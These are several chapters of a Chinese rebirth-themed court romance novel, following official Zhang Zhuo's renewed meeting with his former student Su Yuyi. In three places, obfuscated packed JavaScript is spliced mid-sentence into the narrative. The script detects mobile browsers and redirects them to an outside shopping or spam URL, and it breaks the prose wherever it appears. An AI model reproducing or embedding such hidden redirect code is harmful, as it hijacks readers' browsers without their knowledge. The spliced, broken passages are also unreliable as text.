《俯仰人间二十春》 3. 武陵春(二) 郁仪心中惊讶。 江驸马在朝为官时,张濯正在安州赈灾,他们既不曾有同朝为官的机会,更不曾有私交甚好的传闻,未成想竟会有同席饮宴的时候。 先帝在世时曾以“满怀冰雪、渊清玉絜”八字称颂张濯清直磊落,如今竟也开始结交朋党了。 “那我先留拜帖给驸马。”说罢,郁仪恭恭敬敬递上拜帖,除了这一封拜帖外,郁仪还送了一小块上好的松烟墨。这东西不是什么稀罕物什,只不过产地在郁仪的老家松江,是用松树的烟灰制成的墨,色偏黑蓝、墨膏如腻,若用茶水来研磨,更有一番别出心裁的清香。这样的礼物衬得上郁仪现在的身份,又带了几分朴拙的雅趣。 江驸马的长随见郁仪举止端庄、谈吐不俗,有意小声提点:“若大人有心,申时后再来吧。” 郁仪客客气气地谢过。 公主府坐落在康邬街上,倒是个钟灵毓秀、闹中取静的地方。郁仪没有多逗留,顺着康邬街向北走,打算再逛一逛,等天黑前回到紫禁城去。 她没有和别的庶吉士们一道在梧桐街上买间瓦舍落脚,至今仍住在庶常馆为他们供给的几间直房里。 路过买雕板的店铺门口,郁仪顺手又买了几块巴掌大的木头,这些大都是一整块木头上切下来的边角料,秦酌闲暇时喜欢做木雕,专门托郁仪帮他带几块木头回去。 * 景福楼是兴起于高祖时期的老字号,起先不过是给南来北往的贩夫走卒一个歇脚饮茶之处,经年日久也成了气候,帘幕高挂,屏围四绕,当中一幅四海山河画屏,两厢金炉香霭。 纱幕逶迤,箜篌琵琶。 杯盘错彩,宝妆花色。 如今的景福楼早已成了京城胜景,多少流水样的金银便在这推杯换盏间哗啦啦地流向四面八方,或是行贿官僚、或是买官卖官,又或是文人骚客题词楼上,只盼终有一日能得伯乐一顾。 二楼内雅舍里宾朋满座。 江止渊不知自己喝了多少杯茶,可他也只能以此掩盖自己心中的不安。 今日在座的人中他只认识一半,大多是去岁恩科时派往各处的主官,在几位阁臣牵头下于此办了一场茶宴。江止渊小心翼翼地看了一眼坐在首位的张濯,心中愈是惴惴不安。 他和张濯素无来往,只听闻这位新入阁的张大人性情冷淡,平日里亦不过多言语。早年间曾在太和殿前与他有过一面之缘,果真如传闻所言般琼枝玉树、矜重自持。骤然得到他的邀请,江止渊亦是喜忧参半。 喜的是自己何德何能可以得到这位张大人的垂青,忧的是自己早已尚主,便是有再多才华,也无处施展。思及至此,杯中的铁观音也化成了烧刀子,一饮而尽,热意翻涌。 整场茶宴,张濯从头到尾未置一词,甚至没看江止渊一眼。 席上先是有人提起蟹宴:“膏蟹鲜美,以盐醋食之,五味皆全。待至十月时蟹稻皆肥。膏腻如琼脂珀屑,佐以肥腊鸭、牛乳酪,漱以雪兰茶……” 江止渊熟悉茶宴的流程,起先大多是说些风花雪月的雅事,最终总得要转回到朝堂上去。或是义愤填膺,或是争个面红耳赤。 果不其然,才小半个时辰,几杯水酒入喉,便有人聊起恩科上的见闻。 “从皇上登基之日起,南面便不太平。黄册迟交不说,反诗便不知写了多少。太后为着平息物议,今年从松江府、江宁府点上来的进士也比以往多,竟还选了女进士,你们都见过了吗?” “去玉堂署办差时见过一回。”周怀仁笑说,“好个春梨绽雪的女诸葛。” 他用的词虽雅,人人都听出话里话外的轻视之意。 江止渊不由道:“阅卷都是糊名的,弥封未解开时,哪有人知道文章是女子写的。既然太后娘娘取她为一甲,定然是苏进士有真才实学。武周时上官家的女公子又有谁敢轻视?” 场面为之一静。 江止渊感受到一道清冷的目光穿过众人,轻轻落在他的脸上。 周怀仁被落了面子,顿时有几分不快,还未开口,便听得坐在首位上的张濯淡淡启口:“太后娘娘欲选侍读学士,怀仁觉得谁能胜任?” 周怀仁只得道:“自是曹岑。他是庐州曹氏出身,曹氏出了两位国公、一位勇毅侯,纵然如今不敌当年,但余威犹在。除了他,还有几位庶吉士,有甘州的刘黔龄、汪且真,他们都是出身簪缨望门的公子。” 说罢,他又小心望向张濯:“张尚书以为呢?” 张濯略颔首,似是而非:“如怀仁所言。” 周怀仁轻轻松了口气。 这位未满而立的年轻尚书今日并未曾穿官服。一身长衣广袖,花犀束带上佩挂芙蓉玉。 一如既往的澹然疏朗、琼洁峭拔,引得天下名士都甘心为他趋之若鹜。 不知是不是周怀仁的错觉,数日不见,今日的张尚书更多了几分不符合年龄的孤决与苍凉。 他眉心微蹙,目光沉郁。像是羁旅匆匆,尘满客袍,风霜满鬓。 这样的张濯令他感觉陌生,又感到恐惧。 一直到茶宴散场,张濯都没再说第三句话。 江止渊有心想同张濯再攀谈一二,只可惜他被一群人众星捧月般簇拥在首座,一直不得空,江止渊只得先行一步。 待他坐上马车行过一箭之地,车夫对他说:“驸马,张大人的马车停在前头。” 江止渊有些激动地掀开开车帘,一面下车对张濯拱手:“张大人。” 张濯站在车前,目光落在江驸马脸上,宁静悠远,像是隔了匆匆十数年光景。 日光如金,细碎斑斓。 片刻后,他笑:“好久不见。” 江止渊怔忪了一下,显然不知道自己与张尚书哪里来的交情。只好附和道:“是,还未来得及恭贺张大人入阁之喜。” 张濯轻声谢过:“我今日来有一事相求,是关于苏进士的。” 江止渊心中了然,猜想只怕是张尚书有了惜才之心,想要让自己帮苏进士投卷给夷陵公主,于是点头:“我自会上心,若苏进士过府,我自当助她一臂之力。” “不。”张濯轻轻摇头,“请江大人一定不要襄助她。” 江止渊闻言一愣:“为何?” 张濯道:“的确是有不好与驸马直说的理由,是张某的私事,不得已才来请驸马相助。” “既如此,”江止渊点头,“若她当真来见我,我便依张大人所言便是。” “多谢。”张濯含笑,“如此张某便欠下一个人情给驸马,若他日有用得到我的地方,还请驸马不要客气。” 江止渊听后连连摆手:“这本不是什么大事,张大人切勿如此。” 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631637|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辚辚,马萧萧。 江止渊走后很久,张濯都还站在原地。 在这旌旗招展的皇城下,那些被时光冲刷得泛黄的回忆渐渐鲜焕起来。 他脸上的笑容淡了,缓缓蹲下来,用手捧起一把道边的黄土。 尘土被早春的日光晒得有些温热,一阵风吹过,便从指缝间匆匆溜走。 张濯临死前从来没有想过,自己竟能回到二十年前。 回到一切还没发生时、回到他才遇到苏郁仪的那一年。 十九岁的苏郁仪和二十九岁的自己。 没有家仇国恨,没有阴阳相隔。 张濯说不清自己对郁仪是什么感情。 像是一壶浓茶煮至沸腾,再用冷水淋下,茶壶表面上仍旧平整如旧,内里早已寸寸开裂。 他想,既然她死前都不愿再见他一面,他心里应该是恨她的。 恨苏郁仪让自己困在她死去的那一年,月月年年,得不到解脱。 记忆中倔强不服输的小姑娘,死在了那个让她效忠近十年的皇帝手中,张濯替她不值。 若此刻能将苏郁仪留在翰林院,未尝不是一件好事。 印象中朦胧记得郁仪曾向江止渊行卷,所以张濯才会赶在苏郁仪之前见江止渊一面,对他说出这样一番话。 歌台晚景,盛世依旧。 不同于记忆中的满目疮痍,此刻的京城仍旧是歌舞升平的太平盛世。没有乘马车,张濯沿着林立的街道缓行,用了小半个时辰竟然走到了康邬街上的公主府门前。 早春的广玉兰肥硕丰盈,像是一捧琼林飘落的雪。 公主府门外站着一个人。 那年轻的女子背对着他在同江驸马身边的长随说话,长随恭恭敬敬地将书稿还给苏郁仪:“驸马感念苏进士的心意,只是驸马如今侥幸宦海脱身,早已不问官场中事。驸马说他既不能了结苏进士的心愿,自然也不好收你的礼物,这块松烟墨还请苏进士一并带回。” 苏郁仪收回书稿并不生气,语气温和:“如此是在下冒失了。至于这块墨也不是什么名贵之物,驸马若是不喜欢丢了或是送人都是一样的。” 长随推脱不掉只得收下。 隔着一条街,她的声音听得并不真切,唯见那纤细的肩膀随着她言语间轻轻起伏。 像是一株神清骨秀的花,昂扬着、蕴藏着生生不息的生命力。 只此一眼,肺腑间都滚动起涩苦的痛意,像是一把锋利的刀割皮划肉,撕扯张濯寸寸骨血。 只余下无尽的苍凉与悲痛。 自苏郁仪死后,他已经有十几年没有再见过她了。 最后一次见她还是在太平九年,郁仪在外放灵州之前,饮马坡下曾与他割袍断义。 那时她说得每一字、每一句,都被他用漫长的余生反复回忆直至铭心刻骨。 犹在眼前。 而再与她相见,便是她殒身之日,锦衣卫送来的一口薄棺。 血气翻涌,张濯脸色苍白,一手按住胸口,另一只手扶在墙上,人几乎站立不稳。 身后侍从连忙上前来想要扶他,被张濯用手势制止。 他背过身,微微闭目。 “成椿。” 一个穿青衣的侍从对着他行礼:“主子。” “有句话,劳你替我转告那位女公子。” 4. 武陵春(三) 在投卷前,郁仪做好了被拒绝的准备,故而她虽遗憾,却不懊恼。 除了江驸马之外,朝中也有几位翰林愿意拉寒门子弟一把,她默默在心里盘算着人选。 春季总是多雨,夹杂着水汽的微风吹得人熏然欲醉。郁仪仰着头,静静感受着风里浅淡的花香。 太平三年,年轻的皇帝只有十五岁。军国大事于他而言,更像是沙盘上的游戏。朝廷的独断之权,大多落在太后和几位内阁大臣身上。太后选定“太平”二字为年号,为的也是能匡扶这飘摇的江山,留住大齐皇廷的血脉。 那些帝台危宫间的事尚且来不及波及郁仪这样的底层小官。 太平三年的郁仪,心中仍烧着一把灼灼烈火,愿烧尽她的人生与性命,献给大齐一抹最后的辉煌。 “女公子。” 郁仪抬起头,面前是一位着青衣的年轻人,年岁不大,眉眼间却带着一股机敏聪慧的模样。 “多礼了。”郁仪还礼。 “女公子可是要向江驸马投卷?” “正是。”郁仪答。 成椿从袖中取出一块八角令牌,上头用篆书描金写了一个张字。 “若是女公子不嫌弃,张大人愿邀女公子入府细谈。” 这次轮到郁仪发怔了,她迟疑问:“是哪位张大人?” 成椿笑:“还能有几位张大人呢?” 见她犹豫,成椿继续道:“若苏进士有所顾虑也无妨,只当没听过在下今日这一番话。今年时局不大好,苏进士若甘心在庶常馆再待上一年半载,最迟过了明春,太后也定然会给苏进士指一个好去处的。” 明春。 又是一年。 苏郁仪袖中的手握紧又松开,再握紧。 看得出她犹疑,成椿又加了一把火:“不过是吃杯茶的功夫,这也是多少人求之不得的机缘呢。” 想打江止渊并不见她,郁仪轻轻吐出一口气:“也好。” “既如此,明日未时,奴才另备马车在东华门接苏进士。”成椿和和气气地说道。 * 翌日午后,郁仪找了个由头出了宫门,秦酌多问了两句,她只说是想在梧桐街上赁一间瓦舍便搪塞过去了。 淅淅沥沥的雨将一切都笼罩在潮湿里。 张濯的府邸并不喧闹,纵然入了春,四处明灯高挂,仍像是没有从深冬里醒来一般。 会客厅外的匾额上题有“水月松风”四字。 郁仪在下首落座,成椿为她奉上一杯顾渚紫笋茶:“这是浙江湖州顾渚山上特有的茶,前唐时都是作为贡品仅供御前的,茶芽紫红、形如玉笋,顾得此名。这一盒顾渚紫笋还是张大人前阵子才托人买来的,今日专门嘱咐奴才烹给苏进士。” 湖州是郁仪母亲的故乡,这味茶是她从前在松江时常喝的。这茶在浙江易得,到了京中却不及龙井、铁观音得人心。她直房中的茶盒里倒也存放着一些去年的顾渚紫笋,只可惜这茶金贵,越冬之后的陈茶味变香变,饶是如此,她也舍不得再喝。 没料到能在张濯这里喝到这种茶,郁仪端在掌中,只觉得香气幽微缠绵,让人一下子就回到了那座烟雨之城,泛黄的墙垣、铜绿斑驳的太平缸,就连阶上的苔痕都是独属于这茶中的另一味香。 成椿显然是得了授意,怕她干坐着无聊,便站在一旁同她闲聊。 “午时有一桩要紧的政务须得张大人亲自处置,劳苏进士久候了。” “不妨事。”郁仪的目光落在紫檀木桌上的一个摆件,“这是何物?” 成椿顺着她目光的方向看去,对答如流:“这是仿周代的欹器,上头的铭词是张大人自己题的。” “哦?”郁仪走上前来细看,上头写着三行篆书。 「谦受益」 「满招损」 「月盈则昃」 “这是张大人用以自省的东西,摆在此处平日里无人敢碰。原本是用来装水的,少则倾、中则正、满则覆。张大人说凡事过犹不及,为官如此、为人亦是如此。” 成椿见烛台上的灯火有些暗,用烛剪裁去一截灯芯,丢在灯座旁的白瓷碗里,防止燃烧的气味蔓延出来。 房中的炭盆烧得很热,郁仪才坐了一会儿便觉得额上发汗。 “张大人前阵子病了,所以府上各处都多加了炭盆。”成椿心细如发,立时将炭盆往更远处移了移。 郁仪抓住了关键词:“病了,生得什么病,可还严重?” “不是什么大问题,太医看过了都说无碍。”成椿忖度说,“先是头痛了好一阵子,忘了很多小事,就连年月都记不清了。再后来便告了假,整日里看书写字,不知道在写些什么,如今已经全好了。” 的确是个稀奇的病症。 二人话说了一半,郁仪便听到了脚步声。 步速起初有些急切,待走至近处时才渐渐放慢下来。 帘幕轻摇,一只指骨分明的手轻轻掀开垂帘。 帘外春雨萧疏。 太平三年春,郁仪以为这是她和张濯的初见,殊不知对张濯来说,是一场过尽千帆、飘摇半生的重逢。 他曾想用自己的一切换得一个再见她的机会,如今近在咫尺,却又克制不住内心深处的情怯。 郁仪的目光清澈干净,带着热忱与倔强,她恭恭敬敬地对着张濯一揖:“学生苏郁仪,见过老师。” 她是张濯在松江府选中的贡生,于情于理都该叫他一声老师。 很久没有听见张濯回答,只能听见他的脚步声清清浅浅地落在地衣上,最终停在她面前。 “我不是你的老师,不必如此称呼。”这是张濯对她说的第一句话。 郁仪迟疑着抬起头来。 张濯静静地站在离她五步远的地方,背对着烛火,他的脸半明半昧,因而看不清他眼眸深处藏着的无尽伤感与孤独。 以及压抑又克制的思念。 “是,张大人。”郁仪改口。 张濯看着面前这个迎着烛火的女孩,试图透过她,找到那个在饮马坡前与他坚定诀别的女尚书的影子。 太平九年,饮马坡下衰草枯杨、满眼蓬蒿,黄叶随着北风摇摇欲坠。苏郁仪奉旨前往灵州担任布政使。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631638|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十五岁的苏郁仪,单手牵着乌驳马,另一只手轻轻抚摸着马鬃。 张濯也如今日一般站在她面前。 她不看他,语气平淡得宛如陌路:“张大人不是今日才认识我,黄册案是我做的、丁银案也是我做的,是我苏郁仪为官不正、咎由自取,才落得今日下场,我劝张大人不要再与我攀谈,以免落人话柄。” “你如今一口一个张大人。”张濯缓缓道,“我究竟是谁,你也全都忘了,是吗?” “谁?”苏郁仪终于转过身来与他四目相对,她眼底干干的,毫无泪意,“张大人难道不以有我这样的学生为耻吗?” “可我知道不是你。”张濯一字一句,“你为什么要承认?” 空气都似乎微微一滞。 郁仪笑了一下,垂下眼:“都是我做的,老师。” 这一声老师叫得张濯血气翻涌,他上前一步,按住郁仪的肩膀:“别去灵州,灵州那里是一条死路。你随我回去,老师亲自替你翻案。” 郁仪倒退一步,轻轻挣脱他的桎梏:“锦衣卫指挥使刘黔不可靠,应尽快除掉,千户季宜山还没有站队,扶持他会容易很多。司礼监有一个秉笔太监叫汪数,他是我的人,老师可以用他。” “学生能留给老师的东西不多,愿他们两人可以助老师一臂之力。” 说罢,她毫不犹豫地飞身上马,乌驳马打了一个响亮的响鼻,郁仪熟练地将马缰在手腕上绕过两圈。战马随着她的动作前进数步,郁仪勒紧缰绳让它停下,而后回身看来。 “张大人,我与你不同路、不为谋,今日割袍断义,自此恩断义绝。” 她的声音冷冽,迎着北风也能飘出很远。 张濯抬起头,静静地看着她的眼睛,深眸中藏着难以言状的悲怆:“这条路是你自己选的,我不会替你做主。如果有一天你想回京,请一定写信给我,我会亲自去接你。” 这一刻天地同悲,郁仪笑了一下:“不必了,张大人。” 她纵马向前跑出数丈远,又似想起什么,拨转马头跑回张濯面前,用只有他们两个人能听到的声音说:“还有一件事。” “你说。” 郁仪脸上终于露出一个真心实意的笑容,像是回到了太平三年,她还只是一个在翰林院里抄书的小小编纂。 “早日帮我找位师娘吧,张显清。” 这也是她第一次叫他的名字。 自她唇齿间滚过,像是羌笛唱出的悲歌,她回眸看他的那一眼,太克制、太复杂。 明明已过去十几年,那一天却依然犹在眼前。 只可惜斯人已逝,物是人非。 窗外雨幕斜织,张濯轻轻吐出一口气,压抑住自己肺腑间的疼痛之意。他用手点了点桌上的茶盏:“顾渚紫笋还喝的惯吗?” 郁仪笑着说:“过去在松江时常喝,到了京中不常见,反倒是喝得比以往少了。张大人好雅兴,竟然能寻到此茶。” “一位故人常喝,我也成了习惯。”张濯将茶盏端至唇边,啜饮后又放下,“你在向江驸马投卷,可是想到太后身边去吗?” 5.武陵春(四) 张濯开门见山,郁仪也没有藏着掖着:“从去年年末入庶常馆之后,至今也有三个多月了,原本在馆中做些抄书撰文的庶务也不甚繁琐,我只怕过了今年,明年新一轮秋闱便又要开始了,届时我们这些人怕是不知道要在庶常馆里待上几年。” 她思考了一下又继续说:“如今寻常官府衙门中少有女子,我若被指派到了各部,只怕多有掣肘。能跟在太后娘娘身边,自然是再好不过的事。” 对于她的说辞,张濯既不点头也不摇头。 “你可知,侍读学士不过是个九品的小官?” “知道。只是纵然通过了博学宏词科考试,也不过是被指派个八品下的官位,所差的无非是到哪个部去,博学宏词科考试在明年,若今年我没能被太后娘娘选中,我便准备明年的博学宏词科考试。” 见她连退路都想好了,张濯便继续说:“这侍读学士可并不如字面上看着那么体面。你若真得了这个官位,日后跟在太后身边,只怕得罪人的事也不会少。侍读学士之位,其实是为高门世家子弟准备的,纵然是寻常世家子弟都得再斟酌一番。若没有家族托举,旦夕间人头落地,又有谁能护你?” “你初出茅庐,又从不曾入仕为官,其实下到六部之中从头开始未尝不是一件坏事。我户部中有一个八品上的主事一职尚缺人手,你若愿意,到了月底我去翰林院亲自提你。” 郁仪惊讶了一瞬。 这对寻常人来说无疑是极佳的机会。 户部掌管财政大权,无疑是一众进士削尖了头都要挤进去的地方。这里过手的是实打实的真金白银,远不是那些寻常清水衙门能比拟的。张濯嘴上说着缺人手,郁仪心里却很是明白,这是张濯有意为她留的位置。 她才入京城,既无背景也无家族撑腰,实在想不出自己究竟有什么值得张濯看重的地方,让他如此大费周章。 又或者是户部哪里出了什么岔子,需要推一个人出去背这口黑锅。 越想她越觉得后者的可能性更高。 郁仪生得玲珑心肠,并不想得罪张濯:“户部自然是极好的去处。只是如今我人微言轻,骤然去了炙手可热的去处,只怕惹得人妒忌。我原本对太后身边的侍读学士也并不作他想,得与不得都听天由命,张大人愿帮我,我自然铭感五内,可既担心坏了张大人清名,也不想让一同入馆的同僚难受。” 纵然十多年过去,记忆中的苏郁仪又和面前人渐渐重合在了一起。 苏郁仪骨子里有“韧”的一面。 是坚韧、也是柔韧。 “你可是想好了?”张濯垂下眼,“太后那边我是帮不上你的,你若不去户部,只怕往后很难再有这样的机缘。” “嗯。”郁仪答,“想好了。” 除了更漏的沙沙声和窗外的雨声,室内安静得听不见半点声息。 张濯指了指桌上的卷宗:“你的投卷我收下了,我差人送你回东华门。” 郁仪客客气气地站起身:“离得不远,我自己走回去就行了,不用劳动张大人的人。” 张濯未置可否:“成椿。” “是。”成椿站在门口答了一声。 “叫人送苏进士回去。” 郁仪见状只得谢过:“多谢张大人。” 张濯颔首。 郁仪便跟着成椿出了门。 张濯终于在此时抬起头来,他的目光轻轻落在了郁仪的背影上。 随后缓缓走到了窗边。 轩窗半开着,步步锦的窗框透出树枝婀娜的影子。郁仪的背影穿过这些疏条交映,最终消失在了月洞门后面。 寂寂空庭中只有淅淅沥沥的雨打在芭蕉树上的声音。 张濯静静感受着湿淋淋的水汽迎面拂来的清爽,忍不住侧过身低咳几声。 费了这么大的周章,甚至欠了江驸马一个人情。张濯终于能在一切尚未开始时,见苏郁仪一面。 问了一个他早已预料到的答案。 前一世,他从一开始并不曾将苏郁仪放在心上。 第一次将她看进眼里还是在黄册案之后,那个说话从不高声、笑起来文文静静的女郎,却有着最缜密的心思,经她之手的黄册几乎过目不忘。宴会上,大家喝得面红耳热,唯她一双眼眸清清亮亮,带着别人没有的坚韧与倔强。 他高坐席间,与她四目相对。 苏郁仪端着酒杯起身,张濯颔首举杯,与她遥遥相碰。 她对着他弯唇,如同濯沐秋阳的水芙蓉。 过了一刻钟的功夫,成椿回禀说已经把苏进士送上马车了。 “奴才把主子吩咐的顾渚紫笋也交给苏进士了,苏进士连连称谢。” “她没留什么东西么?” “什么?”成椿愣了一下,才如梦初醒,“哦苏进士说了,她本想送主子一块松烟墨的,只是这东西太粗陋怕入不了主子的眼,所以就不班门弄斧了。下回遇上好墨,定先给主子送来。” 张濯看着雨珠一颗一颗从檐下跌落,眼眸深处雾霭空蒙,不知在想什么。 “这松烟墨上回她是不是送给江止渊一块。” “是……”成椿不知其意,“江驸马平日里就喜欢搜罗这些雅拙的东西,应该也瞧得上。” 张濯勾了勾唇:“是么。” 他抬手将窗叶合上,成椿将桌上的茶盘撤去:“医官一会儿就到,主子可要休息一下?” “你请的医官?”张濯走到适才郁仪问过的欹器前,拿起铜鹤滴漏向里面添水,这是个宁心静气的工作,他的手很稳,一滴水都不曾洒出来。 “是。”成椿手下的功夫不停,“主子开春以来就一直咳嗽,肯定是寒气过了五脏,还是得好好瞧瞧医家,吃几副汤药的好。” 欹器已经添满,张濯停了手将铜壶放在了架子上。 记忆中,他只是体弱些,却很少有如今这般缠绵病榻的时候。 他的目光落在轻轻摇动的水面上,看着涟漪一圈圈漾开:“好,我知道了。” 成椿是跟随张濯很多年的奴才,犹豫了片刻,还是道:“早些年,主子的身子虽不好,经年累月地用药养着也从不曾出过什么岔子,怎么到了今年病势汹汹,老爷夫人若还在世,只怕又要念叨了。” “没事。”张濯笑了笑,烛火将他的脸铺上一层似有若无的光晕,他的长睫轻轻垂下,“你也说了请了医官,看过也就好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651662|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医官到时张濯已经换好了燕居时的直裰,医官行礼之后为张濯搭脉。 一屋子人屏气凝神,目光都落在医官的脸上。 医官的表情渐渐凝重起来。 这位医官是一直伺候张濯的,名叫梅永年。纵然张濯过去病得再厉害,也未曾见他露出如此神情,只见他脸色苍白,额上渗出一圈冷汗,起初只是摸了张濯左手的脉息,片刻后又换向右手。 成椿显然是被他的反应吓到了,手捏着衣角,揪得紧紧的:“梅大夫,这是……” “张大人……”梅永年的声音都在颤,“老朽上次为张大人诊脉不过才过月余,张大人的脉象如今竟乱成这个样子,可是发生了什么事?” 发生了什么事? 其余什么都未曾改变,唯一的变故无非是在这一个月间,他这一缕残魂从数十年后回到如今罢了。 他尚未开口,成椿已经慌乱起来:“这月上旬,主子头痛数日,很多东西都忘了,过了半个月才渐渐好转,如今已和平常无异,可是因为这件事的缘故?” 梅永年眉心皱起:“可就算如此也不该有这么大的影响,张大人如今的身子,像是承受了极大的损耗,竟有油尽灯枯之势……” 张濯从不是讳疾忌医的人,梅永年也深知张濯喜欢将一切都掌握在自己手里,故而没有藏着掖着:“大人如今心脉受损极重,又兼忧思过度,这都是极为伤身的。” “那该如何将养呢?”成椿问。 “为今之计,最好是将政务琐事都停下,静心修养几年为宜。” 众人将殷切的目光落在张濯脸上,张濯和煦一笑:“梅医官可否告诉我,以我如今的身子还能再活几年?” 梅永年的脸上露出一丝不忍,旋即忍不住沉声道:“老朽行医问药,从不做断人生死的事。” 张濯轻抬起手,手掌光洁,手指修长:“五年,有没有。” 梅永年偏过头不说话,张濯思考了一下,又落下两根手指:“三年,有没有?” “你……”梅永年显然从没见过如此不听劝的病人,生硬道,“若张大人少耗费心神,按时吃药,五年也不是不可以。只是若大人夙兴夜寐、殚精竭虑,只怕三年都是强撑而已。” 张濯听他说完,脸上竟露出如释重负的神情,徐徐点头:“够用了。” 成椿红着眼将梅永年送出门,张濯靠在花梨木椅的靠背上,轻轻合眼。 苏郁仪,苏郁仪。 她曾是他最为得意的门生,袖带当风、凌霜傲雪。 她也是他心中触之即痛的伤疤,倥偬数十年,他早已习惯了在无数次夜深人静之际,独自品尝这酸涩的回甘。 张濯问苏郁仪那句“又有谁能护你”,何尝不是他在自己问自己。 能护着她的唯有权力、她自己手中的权力,这也是她能留在政治棋局之上,唯一的底牌。 一只雪白的鸽子扑棱着翅膀停在了张濯的窗边,张濯倾身将窗子打开,它便轻灵地落在他的掌中,张濯低咳着取出它爪上的纸条,又将鸽子放了出去。 “我要入宫一趟。”他对成椿低声道。 成椿不赞成:“主子……” “快去。” 6.武陵春(五) 回到紫禁城后的那一夜,郁仪做了一个梦。 梦中恍恍惚惚,晦暗难辨。 好像也是在这煌煌宫掖深处,施金错彩,碧瓦飞甍。 新鲜温热的血液顺着汉白玉石阶汩汩流下,像是千万条小溪汇入江海。 尸横遍地,掌刑的锦衣卫身上都浸满了飞溅的鲜血。 禁中那条横亘蜿蜒的白水河,混着红褐色的血液,早已辨不清原本的颜色。 一个人独自立在河边,依然穿着那件红色圆领纻丝独科花的官服,褒衣博带,广袖长衣。 他的身上一滴血也无,干净得不染尘埃,宛如从天上走下来的谪仙。 张濯。 他好像老了很多,鬓发斑斑,风霜刻面。 唯独那双眼,像是被地狱烈火焚过一般,冷得令人心惊。 他站在一地尸骸间,但凡是活着的人,都颤栗着跪在他身后,不敢抬头看他一眼。 张濯的目光落在白水河浮浮沉沉的水面上,缓缓蹲下身来,掬起一捧混着红色的江水。 凑至唇边,缓缓饮尽。 食血饮恨。 他眼中没有畅快也没有欣慰,只有无尽的苍凉与悲伤。 梦中的郁仪被他这幅样子吓了一跳,下意识叫了一声张大人,张濯浑然未觉,像是根本听不到她的声音。 从始至终他都没有说一个字,却好像说完了千言万语。 苏郁仪骤然惊醒,猛地从床上坐直身子,额头上竟全是冷汗。 直房里的火烛灭了,只有依稀的月光透过半开的楹窗透进来,虫声低鸣。 她下了床,找出火石来将灯点亮。 思绪乱如麻,她找了支湖州笔,用桌上的冷茶研墨,将梦中的那个场景画了出来。 郁仪学过几年工笔,不出一刻钟便画完了七七八八。 梦中的这个人既像张濯又不像,他的眼睛太过锋锐阴冷,完全不符合记忆中琼林玉树般的张尚书。可这个梦境太过真实,真实得近乎是发生在昨天一般。 郁仪盯着画中的人看了良久,直到悬在空中的那一支笔滴落了一滴墨。 落在画中人的脸上,像是一滴清冷哀伤的眼泪。 她住的这间直房朝北,常年阴冷不见光,房中不过一张床、一套桌椅当作家具,除此之外还有一张柜子立在墙角,只是苏郁仪的衣服不多,更没有首饰和胭脂水粉,衣柜的一半都不曾装满。 窗台上养了几株花草,春日里刚刚萌芽。 就在这一根蜡烛足以照明的方寸之地,承载着她太多复杂的悲与欢。 看着这张画,郁仪撂下笔,将宣纸放在灯火上点燃。 她看着画面中那冷冽阴郁的人一点点被火舌舔舐干净,纸页被灼烧得渐渐扭曲褶皱,最终灰飞烟灭,心中像是莫名空了一块。 张濯指名道姓说能提她去户部,这样的事若说给秦酌听,只怕定要大骂她不知情识趣,将这样好的机会白白浪费。郁仪将余灰轻轻扫净,心道给太后当侍读学士的路怕是又断了,等今日上值之后,趁早找陈翰林借几本博学宏词科的书来看。 * 昨夜下过一场雨,明黄色的琉璃瓦歇山顶都被初升的春阳照得亮晶晶的。 郁仪到庶常馆时还没有一个人到,她独自将馆内的桌椅摆放整齐,又将几个接雨水的木桶摆在漏水的屋顶下面。叮叮咚咚的水声衬着和暖的阳光,竟叫人生出一种何不在此终老的感觉来。 秦酌来得也很早,郁仪拿出昨天买来的木料给他。 “这块叫水曲柳,花纹比较显眼,适合做雕刻。这块叫祀梓木,合腊性强、是切面光滑的硬木,也是好东西。”秦酌显然是个中行家,把玩着几块木料爱不释手,“虽然都是些边角切剩的料子,也很是难得了,郁仪你真是有好眼力!” 郁仪笑笑还没说话,门外几个人走进来,当中就有人道:“这才几日呀,连苏进士都不叫了,你们的关系倒是匪浅。” 自太后摄政之后,大齐的男女之防破除了不少,虽然在民间还有意避嫌,到了内宫里,大家都不似从前那般恪守俗礼,只是这样的话说出来,秦酌仍弄了个大红脸:“你们在说什么呢,我和苏进士清清白白……” “也没人说你们不清白啊。”另个人揶揄。 苏郁仪拽了拽秦酌的袖子,轻轻摇头。 这群世家子弟入职玉堂署以来,虽无意排挤寒门的几名庶吉士,仍是把平日里张狂无羁的习惯带了进来,平日里想说什么便说什么,无非是不把他们放在眼里,毫不在意自己会不会得罪人罢了。 曹岑也在这群人其中,他没有参与这群人的调侃,而是微微了皱眉。 